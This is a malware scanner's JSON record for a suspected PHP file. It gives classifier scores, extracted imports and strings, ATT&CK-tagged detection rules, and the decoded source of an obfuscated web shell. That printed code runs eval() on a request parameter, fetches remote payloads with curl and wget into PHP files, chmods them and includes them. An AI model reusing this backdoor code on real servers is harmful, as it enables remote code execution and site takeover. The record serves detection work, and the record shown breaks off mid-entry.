{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999790191650391, "class": 2 } ], "prob": 0.999979, "class": 2, "models": [ { "m": "az", "prob": 0.99932194, "class": 2 }, { "m": "az/scripts", "prob": 0.999979, "class": 2 }, { "m": "az/php", "prob": 0.9999517, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T02:45:38Z" }, "path": "bopwhh.php.suspected", "raw": { "v": "4", "fs": [ { "f": "O₃(C₆As₃I)H₃(Po₂CmF₂)MdTh", "k": { "source.imports[0]": "SvLRE", "source.imports[1]": "chmod", "source.imports[2]": "copy", "source.imports[3]": "curl_exec", "source.imports[4]": "curl_init", "source.imports[5]": "curl_setopt", "source.imports[6]": "eval", "source.imports[7]": "exec", "source.imports[8]": "file_exists", "source.imports[9]": "file_get_contents", "source.strings[0]": "$elgaprcE3432", "source.strings[1]": "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew", "source.strings[2]": "\\120\\117\\x53\\124\\x3e\\120\\101\\x53\\123\\127\\117\\122\\104\\72\\40\\40\\x20\\40\\40\\x43\\x48\\x45\\x43\\x4b\\x42\\x4f\\130\\x20\\x4e\\x41\\115\\x45\\x3d\\42\\x46\\133\\135\\x22\\x20\\126\\x41\\x4c\\x55\\x45\\75\\x22\\40\\x20\\42\\137\\165\\160\\x6c\\42\\x20\\166\\x61\\154\\x75\\x65\\x3d\\x22\\125\\160\\154\\157\\141\\x64\\x22\\40\\x6e\\x61\\155\\x65\\75\\42\\x75\\x70\\x6c\\x6f\\141\\x64\\145\\x72\\x22\\x20\\x69\\144\\75\\x22\\x75\\160\\x6c\\157\\x61\\144\\x65\\162\\x22", "source.strings[3]": "\\143\\x75\\x72\\154\\40\\55\\157\\x20", "source.strings[4]": "\\143\\x75\\x72\\x6c\\x20\\x2d\\157\\x20", "source.strings[5]": "\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f", "source.strings[6]": "\\155\\155\\155", "source.strings[7]": "\\155\\155\\x6d", "source.strings[8]": "\\160\\141\\164\\150", "source.strings[9]": "\\160\\141\\164\\x68", "source.has_imports": true, "source.imports[10]": "file_put_contents", "source.imports[11]": "isset", "source.imports[12]": "realpath", "source.imports[13]": "system", "source.imports[14]": "uniqid", "source.strings[10]": "\\160\\141\\x74\\x68", "source.strings[11]": "\\160\\x61\\164\\150", "source.strings[12]": "\\160\\x61\\164\\x68", "source.strings[13]": "\\160\\x61\\x74\\150", "source.strings[14]": "\\160\\x61\\x74\\x68", "source.strings[15]": "\\164\\165\\162\\154", "source.strings[16]": "\\165\\162\\x6c", "source.strings[17]": "\\165\\x72\\154", "source.strings[18]": "\\165\\x72\\x6c", "source.strings[19]": "\\167\\x67\\x65\\164\\x20\\x2d\\117\\x20", "source.strings[20]": "\\167\\x67\\x65\\x74\\40\\x2d\\x4f\\40", "source.strings[21]": "\\56\\160\\150\\x70", "source.strings[22]": "\\56\\160\\x68\\x70", "source.strings[23]": "\\56\\x70\\x68\\160", "source.strings[24]": "\\56\\x70\\x68\\x70", "source.strings[25]": "\\62\\56\\160\\x68\\160", "source.strings[26]": "\\64\\56\\160\\x68\\x70\\x20\\x68\\164\\164\\160\\163\\72\\57\\57", "source.strings[27]": "\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\72\\57\\57", "source.strings[28]": "\\64\\x2e\\160\\150\\x70", "source.strings[29]": "\\64\\x2e\\160\\x68\\160\\x20\\150\\164\\x74\\160\\x73\\x3a\\x2f\\57", "source.strings[30]": "\\64\\x2e\\x70\\150\\x70", "source.strings[31]": "\\64\\x2e\\x70\\x68\\x70\\x20\\x68\\164\\x74\\x70\\x73\\72\\x2f\\57", "source.strings[32]": "\\x2a\\57\\40\\77\\76", "source.strings[33]": "\\x2e\\160\\150\\x70", "source.strings[34]": "\\x2e\\x70\\x68\\160", "source.strings[35]": "\\x32\\56\\x70\\x68\\x70", "source.strings[36]": "\\x32\\x2e\\160\\x68\\160", "source.strings[37]": "\\x32\\x2e\\x70\\150\\160", "source.strings[38]": "\\x33\\56\\160\\150\\160", "source.strings[39]": "\\x33\\56\\160\\150\\x70", "source.strings[40]": "\\x33\\x2e\\160\\x68\\160", "source.strings[41]": "\\x34\\56\\160\\150\\160", "source.strings[42]": "\\x34\\56\\160\\150\\x70", "source.strings[43]": "\\x34\\56\\160\\x68\\160", "source.strings[44]": "\\x34\\56\\x70\\x68\\x70", "source.strings[45]": "\\x34\\x2e\\160\\x68\\160", "source.strings[46]": "\\x34\\x2e\\x70\\150\\x70", "source.strings[47]": "\\x34\\x2e\\x70\\x68\\160", "source.strings[48]": "\\x3c\\x3f\\x70\\150\\x70\\x20\\x2f\\x2a", "source.strings[49]": "\\x67\\x75\\162\\154", "source.strings[50]": "\\x67\\x75\\162\\x6c", "source.strings[51]": "\\x68\\164\\164\\x70\\163\\x3a\\57\\57{$hyTr3}", "source.strings[52]": "\\x70\\141\\164\\150", "source.strings[53]": "\\x70\\141\\164\\x68", "source.strings[54]": "\\x70\\141\\x74\\x68", "source.strings[55]": "\\x70\\x61\\164\\150", "source.strings[56]": "\\x70\\x61\\164\\x68", "source.strings[57]": "\\x70\\x61\\x74\\150", "source.strings[58]": "\\x70\\x61\\x74\\x68", "source.strings[59]": "\\x74\\x75\\162\\x6c", "source.strings[60]": "\\x75\\162\\154", "source.strings[61]": "\\x75\\162\\x6c", "source.strings[62]": "\\x75\\x72\\154", "source.strings[63]": "\\x75\\x72\\x6c", "source.strings[64]": "\\x7a\\165\\x72\\154", "source.strings[65]": "\\x7a\\x75\\162\\x6c", "source.strings[66]": "goto gCB4g; nmQZs: if (!file_exists(realpath('') . \"\\57\" . $_GET[\"path\"] . \"4.\\160h\\160\")) { goto j0nQT; } goto GqgRQ; BYQFV: if (!file_exists(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"4\\56\\160\\150p\")) { goto TzOeT; } goto kux3S; pSzqb: j0nQT: goto ad8rg; poEZ9: if (file_exists(realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164h\"] . \"2.p\\150\\160\")) { goto YDxyk; } goto bRcRc; ugHTw: goto vYAo9; goto rKksm; t4MlG: include realpath('') . \"/\" . $_GET[\"p\\141\\164h\"] . \"2.\\160h\\160\"; goto JC5ob; IVG63: goto cLUg8; goto hq_2z; Jkt0b: goto i29a7; goto lCGdU; ZZjpz: if (!file_exists(realpath('') . \"/\" . $_GET[\"\\160\\141\\164h\"] . \"\\64.p\\150p\")) { goto tJyno; } goto cG97l; IJm2u: include realpath('') . \"\\57\" . $_GET[\"\\160a\\164h\"] . \"4\\56\\160\\150\\160\"; goto ZVkx7; gp58u: jfay0: goto ugHTw; q81C1: system(\"\\143url -\\157 \" . $_GET[\"\\160a\\164\\150\"] . \"\\64.php h\\164tps\\72/\\57\" . $_GET[\"\\165r\\154\"] . ''); goto BYQFV; kux3S: chmod(realpath('') . \"/\" . $_GET[\"\\160a\\164h\"] . \"4.\\160h\\160\", 0644); goto IJm2u; AG7_O: exec(\"\\143ur\\154\\40\\55\\157 \" . $_GET[\"\\160at\\150\"] . \"\\64\\56php\\40\\150ttps\\72\\57\\57\" . $_GET[\"url\"] . ''); goto ZZjpz; oZ1D8: if (!($BHsA2 = \"\\164\\165\\162\\154\")) { goto ZHXti; } goto qfDqr; NITub: $cGNqD = $EjKkG . ''; goto yuwp4; Z3N5S: tJyno: goto gp58u; ZUrxf: ZHXti: goto qrs1w; GVS8r: eval($_GET[\"\\155\\155m\"]); goto wE7pw; tb9Hw: include realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"\\64.\\160\\150p\"; goto xRIxt; bluUk: UEJo1: goto GdpY5; P49EL: if (file_exists(realpath('') . \"\\57\" . $_GET[\"p\\141\\164\\150\"] . \"3.\\160h\\160\")) { goto O399L; } goto Rn6Ml; rzIbf: chmod(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"\\56\\160hp\", 0644); goto nVSLP; ksCl1: if ($_GET[\"\\155\\155\\155\"]) { goto LAIBQ; } goto FNB16; xRIxt: el_jY: goto q81C1; tGCJB: $BHsA2 = \"z\\165r\\154\"; goto IVG63; yuwp4: SvLRE(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \".ph\\160\", $cGNqD); goto QEPxF; Barjc: goto NyLw0; goto uwuvD; SVNg3: curl_setopt($KBQeL, CURLOPT_TIMEOUT, 60); goto uq6Cw; E2Ref: cLUg8: goto YGT0z; qrs1w: if (!($BHsA2 = \"gu\\162l\")) { goto jfay0; } goto mZPBX; sq_8W: include realpath('') . \"/\" . $_GET[\"p\\141\\164\\150\"] . \"2\\56php\"; goto c_Ctq; kH1DL: if (file_exists(realpath('') . \"/\" . $_GET[\"\\160ath\"] . \".ph\\160\")) { goto pgYO8; } goto Il98z; ad8rg: exec(\"\\167ge\\164 -\\117 \" . $_GET[\"pa\\164\\150\"] . \"\\64\\56\\160hp h\\164\\164\\160\\163\\72\\57\\57\" . $_GET[\"u\\162l\"] . ''); goto ex1yZ; YGT0z: NlCEd: goto Qq8wu; ZVkx7: TzOeT: goto AG7_O; yp1u5: curl_setopt($KBQeL, CURLOPT_URL, $_GET[\"\\165rl\"]); goto K1a7v; CxJfN: if ($_GET[\"u\\162\\154\"]) { goto UEJo1; } goto ksCl1; lCGdU: O399L: goto opJ9_; cG97l: chmod(realpath('') . \"/\" . $_GET[\"\\160\\141\\164h\"] . \"4\\56\\160h\\160\", 0644); goto sTaJp; uq6Cw: $EjKkG = curl_exec($KBQeL); goto Hclk2; Rn6Ml: $BHsA2 = \"gu\\162\\154\"; goto Jkt0b; uCuUy: pgYO8: goto rzIbf; PZahr: include realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164\\150\"] . \"\\56ph\\160\"; goto E2Ref; c_Ctq: i29a7: goto ZUrxf; JC5ob: NyLw0: goto p7O9y; sTaJp: include realpath('') . \"\\57\" . $_GET[\"\\160a\\164\\150\"] . \"4.p\\150p\"; goto Z3N5S; pZlaf: $hyTr3 = $_GET[\"ur\\154\"]; goto udCBX; ex1yZ: if (!file_exists(realpath('') . \"/\" . $_GET[\"\\160\\141th\"] . \"4\\56\\160\\150p\")) { goto el_jY; } goto GZQUP; uwuvD: YDxyk: goto I7Fxm; Kt4y5: GHwhf: goto A94dI; vjqlx: include realpath('') . \"\\57\" . $_GET[\"pa\\164\\150\"] . \"4\\56php\"; goto pSzqb; gCB4g: echo \"\\120\\117S\\124\u003e\\120\\101S\\123\\127\\117\\122\\104\\72\\40\\40 \\40\\40CHECKBO\\130 NA\\115E=\\42F\\133\\135\" \\126ALUE\\75\"\\40 \\42\\137\\165\\160l\\42 \\166a\\154ue=\"\\125\\160\\154\\157\\141d\"\\40na\\155e\\75\\42uplo\\141d\\145r\" i\\144\\75\"u\\160l\\157a\\144e\\162\"\"; goto CxJfN; FNB16: goto vYAo9; goto bluUk; udCBX: $l4GLv = '' . $_GET[\"\\160\\141\\164\\150\"] . \"\\62\\56\\160h\\160\"; goto lw99f; Il98z: $KBQeL = curl_init(); goto yp1u5; QEPxF: if (file_exists(realpath('') . \"/\" . $_GET[\"path\"] . \"\\56\\160\\150p\")) { goto Arh0M; } goto tGCJB; opJ9_: chmod(realpath('') . \"\\57\" . $_GET[\"path\"] . \"3\\56\\160\\150p\", 0644); goto sq_8W; bRcRc: $BHsA2 = \"tu\\162l\"; goto Barjc; nVSLP: include realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164\\150\"] . \"\\56php\"; goto Kt4y5; lw99f: copy(\"h\\164\\164p\\163:\\57\\57{$hyTr3}\", $l4GLv); goto poEZ9; Qq8wu: goto GHwhf; goto uCuUy; hq_2z: Arh0M: goto XkYXx; T_q5F: file_put_contents('' . $_GET[\"\\160a\\164\\150\"] . \"3\\56\\160\\150\\160\", $ZgjfP); goto P49EL; qfDqr: $ZgjfP = file_get_contents(\"\\150tt\\160\\163:\\57/\" . $_GET[\"\\165\\162l\"] . ''); goto T_q5F; p7O9y: zXJBN: goto oZ1D8; rKksm: LAIBQ: goto GVS8r; I7Fxm: chmod(realpath('') . \"\\57\" . $_GET[\"p\\141th\"] . \"2.p\\150\\160\", 0644); goto t4MlG; mZPBX: system(\"\\167get\\40-O\\40\" . $_GET[\"pa\\164h\"] . \"\\64.\\160h\\160 \\150\\164t\\160s:/\\57\" . $_GET[\"u\\162l\"] . ''); goto nmQZs; A94dI: if (!($BHsA2 = \"zu\\162l\")) { goto zXJBN; } goto pZlaf; K1a7v: curl_setopt($KBQeL, CURLOPT_RETURNTRANSFER, 1); goto SVNg3; GZQUP: chmod(realpath('') . \"\\57\" . $_GET[\"pat\\150\"] . \"4\\56\\160h\\160\", 0644); goto tb9Hw; GdpY5: function SVlRe($vqDqv, $EjKkG) { file_put_contents($vqDqv, \"\u003c?p\\150p /*\" . uniqid() . \"*\\57\\40\\77\\76\" . $EjKkG); } goto kH1DL; GqgRQ: chmod(realpath('') . \"/\" . $_GET[\"p\\141th\"] . \"4.ph\\160\", 0644); goto vjqlx; XkYXx: chmod(realpath('') . \"\\57\" . $_GET[\"\\160a\\164h\"] . \".\\160\\150p\", 0644); goto PZahr; Hclk2: if (!$EjKkG) { goto NlCEd; } goto NITub; wE7pw: vYAo9:", "source.functions[0]": "SVlRe" }, "x": 328, "id": 0, "is": [ "isset", "file_exists", "realpath", "file_exists", "realpath", "file_exists", "realpath", "realpath", "file_exists", "realpath", "realpath", "system", "chmod", "realpath", "exec", "eval", "realpath", "file_exists", "realpath", "chmod", "realpath", "SvLRE", "realpath", "curl_setopt", "realpath", "file_exists", "realpath", "exec", "curl_setopt", "chmod", "realpath", "curl_exec", "realpath", "realpath", "file_exists", "realpath", "realpath", "curl_init", "file_exists", "realpath", "chmod", "realpath", "realpath", "copy", "file_put_contents", "file_get_contents", "chmod", "realpath", "system", "curl_setopt", "chmod", "realpath", "file_put_contents", "uniqid", "chmod", "realpath", "chmod", "realpath" ], "ms": { "file": { "size": 7496.0 }, "text": { "digit_ratio": 0.32, "space_count": 752.0, "total_lines": 48.0, "char_entropy": 5.73, "unique_chars": 86.0, "escape_density": 7.3, "import_density": 120.83, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 3.04, "avg_line_length": 154.29, "lines_over_1000": 1.0, "max_line_length": 6051.0, "empty_line_ratio": 0.48, "hex_escape_count": 282.0, "last_line_length": 6051.0, "long_token_count": 7.0, "most_common_char": "\\", "whitespace_ratio": 0.11, "most_common_ratio": 0.07, "identifier_density": 7.29, "line_length_stddev": 861.5, "octal_escape_count": 265.0, "normalized_import_count": 8.37, "normalized_string_count": 21.07, "suspicious_comment_ratio": 2.0, "max_inline_whitespace_run": 1.0, "normalized_function_count": 0.14, "trailing_whitespace_lines": 1.0, "imports_to_functions_ratio": 58.0, "strings_to_functions_ratio": 146.0, "suspicious_identifier_ratio": 0.05, "normalized_unique_identifiers": 23.63, "identifiers_to_functions_ratio": 132.0 }, "imports": { "total": 58.0, "unique_modules": 15.0, "third_party_count": 58.0, "third_party_ratio": 1.0 }, "strings": { "total": 146.0, "avg_length": 15.53, "max_length": 382.0, "avg_entropy": 2.12, "total_bytes": 2268.0, "entropy_stddev": 1.21, "high_entropy_count": 2.0, "unicode_heavy_strings": 8.0 }, "comments": { "chars": 640.0, "lines": 5.0, "total": 5.0, "to_code_ratio": 0.12, "base64_in_comments": 5.0, "high_entropy_comments": 5.0 }, "functions": { "total": 1.0, "one_liners": 1.0, "avg_name_length": 5.0, "no_params_count": 1.0, "avg_length_lines": 1.0, "max_length_lines": 1.0, "min_length_lines": 1.0, "density_per_100_lines": 2.08, "code_in_functions_ratio": 0.02 }, "identifiers": { "total": 350.0, "avg_length": 5.82, "max_length": 22.0, "min_length": 1.0, "avg_entropy": 2.32, "reuse_ratio": 0.38, "unique_count": 132.0, "length_stddev": 2.79, "has_digit_ratio": 0.48, "sequential_names": 2.0, "base64_like_names": 5.0, "single_char_count": 2.0, "single_char_ratio": 0.02, "high_entropy_count": 2.0, "high_entropy_ratio": 0.02, "all_lowercase_ratio": 0.11, "all_uppercase_ratio": 0.08, "numeric_suffix_count": 27.0, "underscore_prefix_count": 2.0 } }, "ss": [ [ 29, "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew" ], [ 30, "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew" ], [ 340, "$elgaprcE3432" ], [ 524, "$elgaprcE3432" ], [ 1246, "n" ], [ 1247, "n" ], [ 1250, "o" ], [ 1251, "o" ], [ 1266, "i" ], [ 1267, "i" ], [ 1273, "t" ], [ 1274, "t" ], [ 1277, "c" ], [ 1278, "c" ], [ 1281, "n" ], [ 1282, "n" ], [ 1288, "u" ], [ 1289, "u" ], [ 1292, "f" ], [ 1293, "f" ], [ 1296, "_" ], [ 1297, "_" ], [ 1300, "e" ], [ 1301, "e" ], [ 1307, "t" ], [ 1308, "t" ], [ 1311, "a" ], [ 1312, "a" ], [ 1321, "e" ], [ 1322, "e" ], [ 1325, "r" ], [ 1326, "r" ], [ 1341, "c" ], [ 1342, "c" ], [ 1492, "\\57" ], [ 1506, "\\x70\\x61\\x74\\x68" ], [ 1528, "\\x34\\x2e\\160\\x68\\160" ], [ 1620, "\\x2f" ], [ 1635, "\\x70\\x61\\164\\150" ], [ 1657, "\\x34\\56\\160\\150\\x70" ], [ 1773, "\\57" ], [ 1787, "\\160\\141\\164\\x68" ], [ 1809, "\\x32\\x2e\\x70\\150\\160" ], [ 1923, "\\x2f" ], [ 1938, "\\x70\\141\\164\\x68" ], [ 1960, "\\x32\\x2e\\160\\x68\\160" ], [ 2097, "\\x2f" ], [ 2112, "\\160\\141\\164\\x68" ], [ 2134, "\\64\\x2e\\x70\\150\\x70" ], [ 2216, "\\57" ], [ 2230, "\\160\\x61\\164\\x68" ], [ 2252, "\\x34\\56\\160\\150\\160" ], [ 2327, "\\143\\x75\\x72\\x6c\\x20\\x2d\\157\\x20" ], [ 2370, "\\160\\x61\\164\\150" ], [ 2392, "\\64\\x2e\\x70\\x68\\x70\\x20\\x68\\164\\x74\\x70\\x73\\72\\x2f\\57" ], [ 2456, "\\165\\x72\\154" ], [ 2519, "\\x2f" ], [ 2534, "\\160\\x61\\164\\x68" ], [ 2556, "\\x34\\x2e\\160\\x68\\160" ], [ 2611, "\\143\\x75\\x72\\154\\40\\55\\157\\x20" ], [ 2652, "\\160\\x61\\x74\\150" ], [ 2674, "\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\72\\57\\57" ], [ 2735, "\\x75\\x72\\x6c" ], [ 2792, "\\164\\165\\162\\154" ], [ 2952, "\\155\\155\\x6d" ], [ 3012, "\\x2f" ], [ 3027, "\\x70\\x61\\164\\150" ], [ 3049, "\\64\\x2e\\160\\150\\x70" ], [ 3148, "\\57" ], [ 3162, "\\x70\\141\\164\\150" ], [ 3184, "\\x33\\x2e\\160\\x68\\160" ], [ 3265, "\\x2f" ], [ 3280, "\\x70\\x61\\164\\150" ], [ 3302, "\\56\\160\\x68\\x70" ], [ 3357, "\\155\\155\\155" ], [ 3444, "\\x7a\\165\\x72\\154" ], [ 3504, "\\x2f" ], [ 3519, "\\x70\\x61\\164\\150" ], [ 3541, "\\x2e\\x70\\x68\\160" ], [ 3722, "\\x67\\x75\\162\\x6c" ], [ 3801, "\\x2f" ], [ 3816, "\\x70\\141\\164\\150" ], [ 3838, "\\x32\\56\\x70\\x68\\x70" ], [ 3911, "\\x2f" ], [ 3926, "\\160\\x61\\x74\\x68" ], [ 3948, "\\x2e\\x70\\x68\\160" ], [ 4009, "\\167\\x67\\x65\\164\\x20\\x2d\\117\\x20" ], [ 4052, "\\x70\\x61\\164\\150" ], [ 4074, "\\64\\56\\160\\x68\\x70\\x20\\x68\\164\\164\\160\\163\\72\\57\\57" ], [ 4136, "\\x75\\162\\x6c" ], [ 4269, "\\165\\x72\\x6c" ], [ 4316, "\\x75\\162\\154" ], [ 4415, "\\x2f" ], [ 4430, "\\160\\141\\164\\x68" ], [ 4452, "\\x34\\56\\160\\x68\\160" ], [ 4557, "\\x67\\x75\\162\\154" ], [ 4645, "\\57" ], [ 4659, "\\160\\141\\164\\150" ], [ 4681, "\\56\\x70\\x68\\160" ], [ 4794, "\\57" ], [ 4808, "\\160\\x61\\164\\150" ], [ 4830, "\\x34\\x2e\\x70\\150\\x70" ], [ 4888, "\\x75\\x72\\154" ], [ 4956, "\\x2f" ], [ 4971, "\\160\\141\\x74\\x68" ], [ 4993, "\\x34\\56\\160\\150\\x70" ], [ 5127, "\\57" ], [ 5141, "\\x70\\x61\\164\\150" ], [ 5163, "\\x34\\56\\x70\\x68\\x70" ], [ 5210, "\\120\\117\\x53\\124\\x3e\\120\\101\\x53\\123\\127\\117\\122\\104\\72\\40\\40\\x20\\40\\40\\x43\\x48\\x45\\x43\\x4b\\x42\\x4f\\130\\x20\\x4e\\x41\\115\\x45\\x3d\\" ], [ 5666, "\\160\\141\\164\\150" ], [ 5688, "\\62\\56\\160\\x68\\160" ], [ 5801, "\\x2f" ], [ 5816, "\\x70\\x61\\x74\\x68" ], [ 5838, "\\56\\160\\150\\x70" ], [ 5914, "\\57" ], [ 5928, "\\x70\\x61\\x74\\x68" ], [ 5950, "\\x33\\56\\160\\150\\x70" ], [ 6008, "\\x74\\x75\\162\\x6c" ], [ 6070, "\\57" ], [ 6084, "\\160\\141\\164\\150" ], [ 6106, "\\56\\x70\\x68\\x70" ], [ 6149, "\\x68\\164\\164\\x70\\163\\x3a\\57\\57{$hyTr3}" ], [ 6305, "\\160\\x61\\164\\150" ], [ 6327, "\\x33\\56\\160\\150\\160" ], [ 6405, "\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f" ], [ 6447, "\\165\\162\\x6c" ], [ 6562, "\\57" ], [ 6576, "\\x70\\141\\x74\\x68" ], [ 6598, "\\x32\\x2e\\x70\\150\\160" ], [ 6655, "\\167\\x67\\x65\\x74\\40\\x2d\\x4f\\40" ], [ 6696, "\\x70\\x61\\164\\x68" ], [ 6718, "\\64\\x2e\\160\\x68\\160\\x20\\150\\164\\x74\\160\\x73\\x3a\\x2f\\57" ], [ 6783, "\\x75\\162\\x6c" ], [ 6840, "\\x7a\\x75\\162\\x6c" ], [ 6984, "\\57" ], [ 6998, "\\x70\\x61\\x74\\150" ], [ 7020, "\\x34\\56\\160\\x68\\160" ], [ 7128, "\\x3c\\x3f\\x70\\150\\x70\\x20\\x2f\\x2a" ], [ 7176, "\\x2a\\57\\40\\77\\76" ], [ 7248, "\\x2f" ], [ 7263, "\\x70\\141\\x74\\x68" ], [ 7285, "\\x34\\x2e\\x70\\x68\\160" ], [ 7356, "\\57" ], [ 7370, "\\160\\x61\\164\\x68" ], [ 7392, "\\x2e\\160\\150\\x70" ], [ 1441, "unicode-escape", "goto gCB4g; nmQZs: if (!file_exists(realpath('') . \"\\57\" . $_GET[\"path\"] . \"4.\\160h\\160\")) { goto j0nQT; } goto GqgRQ; BYQFV: if" ] ], "sz": 7496, "ts": [ { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP GET parameter access ($_GET)", "e": [ "$_GET" ], "i": "micro-behaviors/communications/http/request/params::get-dup", "l": 3 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[SvLRE, chmod, copy, curl_exec, curl_init, curl_setopt, eval, exec, file_exists, file_get_contents, file_put_contents, isset, re" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 6051.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 6051.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "c": 0.800000011920929, "d": "URL parameter fetched and executed", "e": [ "file_get_contents(\"\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f\" . $_GET[\"\\165\\162\\x6c\"] . '')" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch", "l": 4, "m": "B0030" }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 48.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.800000011920929, "d": "Property access via hex-escaped string in brackets", "e": [ "[\"\\x70\\x61\\x74\\x68\"]" ], "i": "objectives/anti-static/obfuscation/string/dynamic::hex-escaped-bracket-property", "l": 4 }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "a": "T1584", "c": 1.0, "d": "PHP dynamic curl_exec call from lookup table", "e": [ "curl_exec(" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-dynamic-curl-exec", "l": 2 }, { "c": 0.800000011920929, "d": "Detects PHP copy file recreation call", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "c": 0.800000011920929, "d": "PHP variable function invocation pattern", "e": [ "Y", "WFhwKcfQ3158", "Z", "AcHytcrR5619" ], "i": "objectives/anti-static/obfuscation/imports::dynamic-function-execution", "l": 3 }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_REQUEST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP REQUEST parameter access ($_REQUEST)", "e": [ "$_REQUEST" ], "i": "micro-behaviors/communications/http/request/params::request-dup", "l": 3 }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "eval", "$_GET[\"\\155\\155\\x6d\"]" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_GET parameter access", "e": [ "$_GET[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-get", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_GET[\"\\160\\x61\\164\\x68\"]", "$_GET[\"\\x70\\141\\164\\x68\"]", "$_GET[\"\\160\\x61\\164\\150\"]", "$_GET[\"\\155\\155\\x6d\"]", "$_GET[\"\\x75\\x72\\x6c\"]", "$_GET[\"\\160\\141\\164\\x68\"]", "$_GET[\"\\160\\x61\\x74\\150\"]", "$_GET[\"\\155\\155\\155\"]", "$_GET[\"\\x70\\x61\\164\\150\"]", "$_GET[\"\\x70\\x61\\x74\\x68\"]", "$_GET[\"\\165\\x72\\154\"]", "$_GET[\"\\x70\\141\\164\\150\"]" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 5.73" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 6051.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "a": "T1584", "c": 0.8999999761581421, "d": "Obfuscated PHP SEO spam injector", "e": [ "AcHytcrR5619", "WFhwKcfQ3158", "Y", "curl_exec(", "Z" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-seo-spam-obfuscated", "l": 5 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Single appended long line in source", "e": [ "text.last_line_length = 6051.00", "text.lines_over_1000 = 1.00", "text.total_lines = 48.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::appended-long-line", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Decoded unicode-escape content", "e": [ "goto 